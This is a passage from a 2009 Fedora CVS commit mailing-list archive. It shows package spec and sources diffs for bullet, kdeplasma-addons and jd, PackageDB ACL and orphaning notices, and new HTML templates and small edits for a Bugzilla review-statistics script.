+* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
+- Ship -devel subpackage (#527011)
+
+* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - Microblogging Widget Does Not Fetch Tweets (#526524)
 
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1



From linuxdonald at fedoraproject.org  Sat Oct  3 16:41:07 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Sat,  3 Oct 2009 16:41:07 +0000 (UTC)
Subject: rpms/bullet/F-10 .cvsignore, 1.2, 1.3 import.log, 1.1, 1.2 sources, 
	1.2, 1.3
Message-ID: <20091003164107.2E03A11C00E5@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/bullet/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16807/F-10

Modified Files:
	.cvsignore import.log sources 
Log Message:
Updatet bullet to 2.75


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Jun 2009 22:13:12 -0000	1.2
+++ .cvsignore	3 Oct 2009 16:41:06 -0000	1.3
@@ -1 +1 @@
-bullet-2.74-free.tar.gz
+bullet-2.75-free.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	27 Jun 2009 22:13:12 -0000	1.1
+++ import.log	3 Oct 2009 16:41:06 -0000	1.2
@@ -1 +1,2 @@
 bullet-2_74-1_fc11:F-10:bullet-2.74-1.fc11.src.rpm:1246140695
+bullet-2_75-1_fc11:F-10:bullet-2.75-1.fc11.src.rpm:1254588037


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Jun 2009 22:13:12 -0000	1.2
+++ sources	3 Oct 2009 16:41:06 -0000	1.3
@@ -1 +1 @@
-9bb1421961549813216a39de0f9f8649  bullet-2.74-free.tar.gz
+ac92978bb8d808ac5e5f9cbd246fe334  bullet-2.75-free.tar.gz



From linuxdonald at fedoraproject.org  Sat Oct  3 16:58:51 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Sat,  3 Oct 2009 16:58:51 +0000 (UTC)
Subject: rpms/bullet/F-11 .cvsignore, 1.2, 1.3 import.log, 1.1, 1.2 sources, 
	1.2, 1.3
Message-ID: <20091003165851.2B92811C00E5@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/bullet/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21404/F-11

Modified Files:
	.cvsignore import.log sources 
Log Message:
Updatet bullet to 2.75


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Jun 2009 21:47:38 -0000	1.2
+++ .cvsignore	3 Oct 2009 16:58:50 -0000	1.3
@@ -1 +1 @@
-bullet-2.74-free.tar.gz
+bullet-2.75-free.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	27 Jun 2009 21:47:38 -0000	1.1
+++ import.log	3 Oct 2009 16:58:50 -0000	1.2
@@ -1 +1,2 @@
 bullet-2_74-1_fc11:F-11:bullet-2.74-1.fc11.src.rpm:1246139185
+bullet-2_75-1_fc11:F-11:bullet-2.75-1.fc11.src.rpm:1254589105


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Jun 2009 21:47:38 -0000	1.2
+++ sources	3 Oct 2009 16:58:50 -0000	1.3
@@ -1 +1 @@
-9bb1421961549813216a39de0f9f8649  bullet-2.74-free.tar.gz
+ac92978bb8d808ac5e5f9cbd246fe334  bullet-2.75-free.tar.gz



From linuxdonald at fedoraproject.org  Sat Oct  3 16:59:45 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Sat,  3 Oct 2009 16:59:45 +0000 (UTC)
Subject: rpms/bullet/F-12 .cvsignore, 1.2, 1.3 import.log, 1.1, 1.2 sources, 
	1.2, 1.3
Message-ID: <20091003165945.20FD011C00E5@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/bullet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21998/F-12

Modified Files:
	.cvsignore import.log sources 
Log Message:
Updatet bullet to 2.75


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Jun 2009 21:39:49 -0000	1.2
+++ .cvsignore	3 Oct 2009 16:59:43 -0000	1.3
@@ -1 +1 @@
-bullet-2.74-free.tar.gz
+bullet-2.75-free.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	27 Jun 2009 21:39:49 -0000	1.1
+++ import.log	3 Oct 2009 16:59:44 -0000	1.2
@@ -1 +1,2 @@
 bullet-2_74-1_fc11:HEAD:bullet-2.74-1.fc11.src.rpm:1246138693
+bullet-2_75-1_fc11:F-12:bullet-2.75-1.fc11.src.rpm:1254589158


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Jun 2009 21:39:49 -0000	1.2
+++ sources	3 Oct 2009 16:59:44 -0000	1.3
@@ -1 +1 @@
-9bb1421961549813216a39de0f9f8649  bullet-2.74-free.tar.gz
+ac92978bb8d808ac5e5f9cbd246fe334  bullet-2.75-free.tar.gz



From kkofler at fedoraproject.org  Sat Oct  3 16:35:05 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat,  3 Oct 2009 16:35:05 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-11 kdeplasma-addons.spec,1.40,1.41
Message-ID: <20091003163505.6C1B411C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14053/F-11

Modified Files:
	kdeplasma-addons.spec 
Log Message:
Sync from devel:

* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
- Ship -devel subpackage (#527011)


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-11/kdeplasma-addons.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- kdeplasma-addons.spec	30 Sep 2009 19:49:36 -0000	1.40
+++ kdeplasma-addons.spec	3 Oct 2009 16:35:05 -0000	1.41
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -69,6 +69,14 @@ Requires: kdelibs4%{?_isa} >= %{version}
 %description libs
 %{summary}.
 
+%package devel
+Summary:  Developer files for %{name}
+Group:    Development/Libraries
+Requires: %{name}-libs = %{version}-%{release}
+Requires: plasma-devel
+%description devel
+Files for developing applications using %{name}.
+
 
 %prep
 %setup -q -n kdeplasma-addons-%{version}
@@ -92,20 +100,6 @@ rm -rf %{buildroot}
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
-# unpackaged files
-# omit shlib symlinks 
-rm -f %{buildroot}%{_kde4_libdir}/libplasma*.so
-rm -f %{buildroot}%{_kde4_libdir}/lib{ocsclient,rtm}.so
-
-# lancelot-devel
-rm -f %{buildroot}%{_kde4_libdir}/liblancelot*.so
-rm -rf %{buildroot}%{_kde4_includedir}/lancelot
-
-# conversion-devel 
-rm -rf %{buildroot}%{_kde4_includedir}/conversion/
-rm -f  %{buildroot}%{_kde4_libdir}/libconversion.so
-rm -f  %{buildroot}%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
-
 
 %post
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
@@ -160,9 +154,23 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/libplasmaweather.so.*
 %{_kde4_libdir}/librtm.so.*
 
+%files devel
+%defattr(-,root,root,-)
+%{_kde4_includedir}/conversion/
+%{_kde4_includedir}/lancelot/
+%{_kde4_libdir}/libconversion.so
+%{_kde4_libdir}/libocsclient.so
+%{_kde4_libdir}/liblancelot.so
+%{_kde4_libdir}/libplasma*.so
+%{_kde4_libdir}/librtm.so
+%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
+
 
 %changelog
-* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.1-2
+* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
+- Ship -devel subpackage (#527011)
+
+* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - Microblogging Widget Does Not Fetch Tweets (#526524)
 
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1



From pkgdb at fedoraproject.org  Sat Oct  3 17:11:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:11:42 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchbugzilla
Message-ID: <20091003171142.A846E10F7EA@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchbugzilla acl on f-spot (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From tibbs at fedoraproject.org  Sat Oct  3 17:11:48 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Sat,  3 Oct 2009 17:11:48 +0000 (UTC)
Subject: status-report-scripts/review-templates - New directory
Message-ID: <20091003171148.0BB2611C00E5@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts/review-templates
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25702/review-templates

Log Message:
Directory /cvs/fedora/status-report-scripts/review-templates added to the repository




From pkgdb at fedoraproject.org  Sat Oct  3 17:11:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:11:55 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up commit
Message-ID: <20091003171155.1717010F87E@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the commit acl on f-spot (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:06 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up commit
Message-ID: <20091003171206.99D3110F88B@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the commit acl on f-spot (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:08 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchbugzilla
Message-ID: <20091003171208.3587710F892@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchbugzilla acl on f-spot (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:09 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchcommits
Message-ID: <20091003171209.5DCD310F8A9@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchcommits acl on f-spot (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:13 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up commit
Message-ID: <20091003171213.5AEE810F7EA@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the commit acl on f-spot (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:13 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchbugzilla
Message-ID: <20091003171213.AD56E10F87E@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchbugzilla acl on f-spot (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:14 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up commit
Message-ID: <20091003171214.E4E9110F8B1@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the commit acl on f-spot (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From tibbs at fedoraproject.org  Sat Oct  3 17:14:45 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Sat,  3 Oct 2009 17:14:45 +0000 (UTC)
Subject: status-report-scripts/review-templates bymonth.html, NONE,
	1.1 index.html, NONE, 1.1 plain.html, NONE, 1.1
Message-ID: <20091003171445.6029711C00E5@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts/review-templates
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26438/review-templates

Added Files:
	bymonth.html index.html plain.html 
Log Message:
Initial pass at revamped review stats script.



--- NEW FILE bymonth.html ---
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:py="http://genshi.edgewall.org/"
    xmlns:xi="http://www.w3.org/2001/XInclude">
    <head>
        <META http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <base href="https://bugzilla.redhat.com/bugzilla/"/>
        <title>$title</title>
        <style type="text/css" media="screen">
            <!--
            @import url("https://bugzilla.redhat.com/bugzilla/skins/standard/global.css");
            -->
            .UNASSIGNED {background-color: #99f}
            .bz_state_NEEDSPONSOR {background-color: #afa};
        </style>

        <link href="skins/standard/buglist.css" rel="stylesheet" type="text/css"/>
    </head>

    <body>
        <h1 style='background-color: #99f;'>$description<br/>
            Last Update: $update (v$version)<br/>
            There are $count tickets in this category</h1>

        <table class="buglist" cellspacing="0" cellpadding="4" width="100%">
            <thead>
                <tr align="left">
                    <th>ID</th>
                    <th>Alias</th>
                    <th>Assignee</th>
                    <th>Status</th>
                    <th>Last Change</th>
                    <th>Summary</th>
                </tr>
            </thead>

            <py:for each="month in months">
            <tr colspan="5"><td><b>${month['month']}</b></td></tr>
            <py:for each="bug in month['bugs']">
            <tr class="${bug['class']}">
                <td>
                    <a href="show_bug.cgi?id=${bug['id']}">${bug['id']}</a>
                </td>
                <td>${bug['alias']} </td>
                <td>${bug['assignee']}</td>
                <td>${bug['status']}</td>
                <td>${bug['lastchange']}</td>
                <td>${bug['summary']}</td>
            </tr>
            </py:for>
            </py:for>
        </table>
    </body>
</html>



--- NEW FILE index.html ---
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:py="http://genshi.edgewall.org/"
    xmlns:xi="http://www.w3.org/2001/XInclude">
    <head>
        <base href="https://bugzilla.redhat.com/bugzilla/"/>
        <title>$title</title>
        <style type="text/css" media="screen">
            <!--
            @import url("https://bugzilla.redhat.com/bugzilla/skins/standard/global.css");
            -->
            .UNASSIGNED {background-color: #99f}
            .bz_state_NEEDSPONSOR {background-color: #afa};
        </style>

        <link href="skins/standard/buglist.css" rel="stylesheet" type="text/css"/>
    </head>

    <body>
        <h1 style='background-color: #99f;'>$description<br/>
            Last Update: $update (v$version)<br/>
            There are $count tickets in this category</h1>

        <table class="buglist" cellspacing="0" cellpadding="4" width="100%">
            <thead>
                <tr align="left">
                    <th>ID</th>
                    <th>Alias</th>
                    <th>Assignee</th>
                    <th>Status</th>
                    <th>Last Change</th>
                    <th>Summary</th>
                </tr>
            </thead>

            <py:for each="bug in bugs">
            <tr class="${bug['class']}">
                <td>
                    <a href="show_bug.cgi?id=${bug['id']}">${bug['id']}</a>
                </td>
                <td>${bug['alias']} </td>
                <td>${bug['assignee']}</td>
                <td>${bug['status']}</td>
                <td>${bug['lastchange']}</td>
                <td>${bug['summary']}</td>
            </tr>
            </py:for>
        </table>
    </body>
</html>



--- NEW FILE plain.html ---
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:py="http://genshi.edgewall.org/"
    xmlns:xi="http://www.w3.org/2001/XInclude">
    <head>
        <META http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <base href="https://bugzilla.redhat.com/bugzilla/"/>
        <title>$title</title>
        <style type="text/css" media="screen">
            <!--
            @import url("https://bugzilla.redhat.com/bugzilla/skins/standard/global.css");
            -->
            .UNASSIGNED {background-color: #99f}
            .bz_state_NEEDSPONSOR {background-color: #afa};
        </style>

        <link href="skins/standard/buglist.css" rel="stylesheet" type="text/css"/>
    </head>

    <body>
        <h1 style='background-color: #99f;'>$description<br/>
            Last Update: $update (v$version)<br/>
            There are $count tickets in this category</h1>

        <table class="buglist" cellspacing="0" cellpadding="4" width="100%">
            <thead>
                <tr align="left">
                    <th>ID</th>
                    <th>Alias</th>
                    <th>Assignee</th>
                    <th>Status</th>
                    <th>Last Change</th>
                    <th>Summary</th>
                </tr>
            </thead>

            <py:for each="bug in bugs">
            <tr class="${bug['class']}">
                <td>
                    <a href="show_bug.cgi?id=${bug['id']}">${bug['id']}</a>
                </td>
                <td>${bug['alias']} </td>
                <td>${bug['assignee']}</td>
                <td>${bug['status']}</td>
                <td>${bug['lastchange']}</td>
                <td>${bug['summary']}</td>
            </tr>
            </py:for>
        </table>
    </body>
</html>




From pkgdb at fedoraproject.org  Sat Oct  3 17:11:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:11:46 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up commit
Message-ID: <20091003171146.9316210F88C@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the commit acl on f-spot (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:11:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:11:52 +0000
Subject: [pkgdb] f-spot: dgoodwin has requested commit
Message-ID: <20091003171152.208C310F800@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the commit acl on f-spot (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:05 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchcommits
Message-ID: <20091003171205.15DD010F7C4@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchcommits acl on f-spot (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:14 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchcommits
Message-ID: <20091003171214.1AA5210F8AD@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchcommits acl on f-spot (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:12:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:12:05 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchbugzilla
Message-ID: <20091003171205.4C9CA10F86A@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchbugzilla acl on f-spot (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From pkgdb at fedoraproject.org  Sat Oct  3 17:11:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 17:11:44 +0000
Subject: [pkgdb] f-spot: dgoodwin has given up watchcommits
Message-ID: <20091003171144.DF85D10F87E@bastion2.fedora.phx.redhat.com>

dgoodwin has given up the watchcommits acl on f-spot (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/f-spot



From tibbs at fedoraproject.org  Sat Oct  3 17:15:15 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Sat,  3 Oct 2009 17:15:15 +0000 (UTC)
Subject: status-report-scripts review-stats.py, NONE, 1.1 pyGetReviewByFlags,
	1.19, 1.20
Message-ID: <20091003171515.2287A11C00E5@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26438

Modified Files:
	pyGetReviewByFlags 
Added Files:
	review-stats.py 
Log Message:
Initial pass at revamped review stats script.



***** Error reading new file: [Errno 2] No such file or directory: 'review-stats.py'

Index: pyGetReviewByFlags
===================================================================
RCS file: /cvs/fedora/status-report-scripts/pyGetReviewByFlags,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -r1.19 -r1.20
--- pyGetReviewByFlags	24 Sep 2009 17:57:47 -0000	1.19
+++ pyGetReviewByFlags	3 Oct 2009 17:14:44 -0000	1.20
@@ -1,12 +1,12 @@
 #!/usr/bin/python -t
 # $Id$
 #
-# Note: This script presently lives in internal and external cvs.  External
+# Note: This script presently lives in internal git and external cvs.  External
 # cvs is::
 # CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/fedora cvs co status-report-scripts
-# Internal is in the puppet configs repository on lockbox.  It needs to be
+# Internal is in the puppet configs repository on puppet1.  It needs to be
 # there so that puppet can distribute to the servers.  I recommend doing the
-# work in the public cvs first, then copying to puppet's cvs after.
+# work in the public cvs first, then copying to puppet's git after.
 
 
 import bugzilla



From tibbs at fedoraproject.org  Sat Oct  3 17:46:35 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Sat,  3 Oct 2009 17:46:35 +0000 (UTC)
Subject: status-report-scripts review-stats.py,1.1,1.2
Message-ID: <20091003174635.5BDBA11C00E5@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1559

Modified Files:
	review-stats.py 
Log Message:
Remove some debug code.



Index: review-stats.py
===================================================================
RCS file: /cvs/fedora/status-report-scripts/review-stats.py,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -r1.1 -r1.2
--- review-stats.py	3 Oct 2009 17:14:44 -0000	1.1
+++ review-stats.py	3 Oct 2009 17:46:34 -0000	1.2
@@ -137,7 +137,6 @@
 #    for i in ['-', '+', '?']:
     for i in ['-', '?']:
         querydata['value0-0-0'] = 'fedora-review' + i
-        print "Foo!"
         b1 = bz.query(querydata)
         for bug in b1:
             bugdata[bug.bug_id] = {}
@@ -147,8 +146,6 @@
             bugdata[bug.bug_id]['reviewflag'] = i
         bugs += b1
 
-    print "Foo!" 
-
     bugs.sort(key=operator.attrgetter('bug_id'))
 
     return [bugs, bugdata]



From pkgdb at fedoraproject.org  Sat Oct  3 18:19:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:19:15 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003181915.F2CD710F7EA@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 18:19:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:19:18 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003181918.70CA710F86A@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 8 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 18:19:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:19:20 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003181921.03DDC10F7EA@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 9 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 18:19:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:19:22 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003181922.65C8110F889@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 18:19:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:19:23 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003181923.A092410F86A@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 11 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 18:19:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 18:19:25 +0000
Subject: [pkgdb] syncevolution ownership updated
Message-ID: <20091003181925.B07D010F7EA@bastion2.fedora.phx.redhat.com>

Package syncevolution in Fedora 12 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From mtasaka at fedoraproject.org  Sat Oct  3 18:35:23 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat,  3 Oct 2009 18:35:23 +0000 (UTC)
Subject: rpms/jd/devel .cvsignore, 1.388, 1.389 jd.spec, 1.451, 1.452 sources,
	1.389, 1.390
Message-ID: <20091003183523.5614B11C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16597

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3111



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/.cvsignore,v
retrieving revision 1.388
retrieving revision 1.389
diff -u -p -r1.388 -r1.389
--- .cvsignore	17 Aug 2009 17:02:11 -0000	1.388
+++ .cvsignore	3 Oct 2009 18:35:20 -0000	1.389
@@ -1 +1 @@
-jd-2.4.2-svn3047_trunk.tgz
+jd-2.5.0-svn3111_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/jd.spec,v
retrieving revision 1.451
retrieving revision 1.452
diff -u -p -r1.451 -r1.452
--- jd.spec	17 Aug 2009 17:02:11 -0000	1.451
+++ jd.spec	3 Oct 2009 18:35:22 -0000	1.452
@@ -9,9 +9,9 @@
 ##########################################
 # Defined by upsteam
 #
-%define         main_ver      2.4.2
-%define         strtag        svn3047_trunk
-%define         repoid        43007
+%define         main_ver      2.5.0
+%define         strtag        svn3111_trunk
+%define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
 ##########################################
@@ -19,7 +19,7 @@
 ##########################################
 # Defined by vendor
 #
-%define         vendor_rel    3
+%define         vendor_rel    1
 %define         extra_rel     %{nil}
 # Tag name changed from vendor to vendorname so as not to
 # overwrite Vendor entry in Summary
@@ -49,7 +49,7 @@ Summary:        A 2ch browser
 Group:          Applications/Internet
 License:        GPLv2
 URL:            http://jd4linux.sourceforge.jp/
-Source0:        http://downloads.sourceforge.jp/jd4linux/%{repoid}/%{name}-%{main_ver}-%{strtag}.tgz
+Source0:        http://dl.sourceforge.jp/jd4linux/%{repoid}/%{name}-%{main_ver}-%{strtag}.tgz
 #Source0:	%{name}-%{main_ver}-%{strtag}.tgz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -135,11 +135,20 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
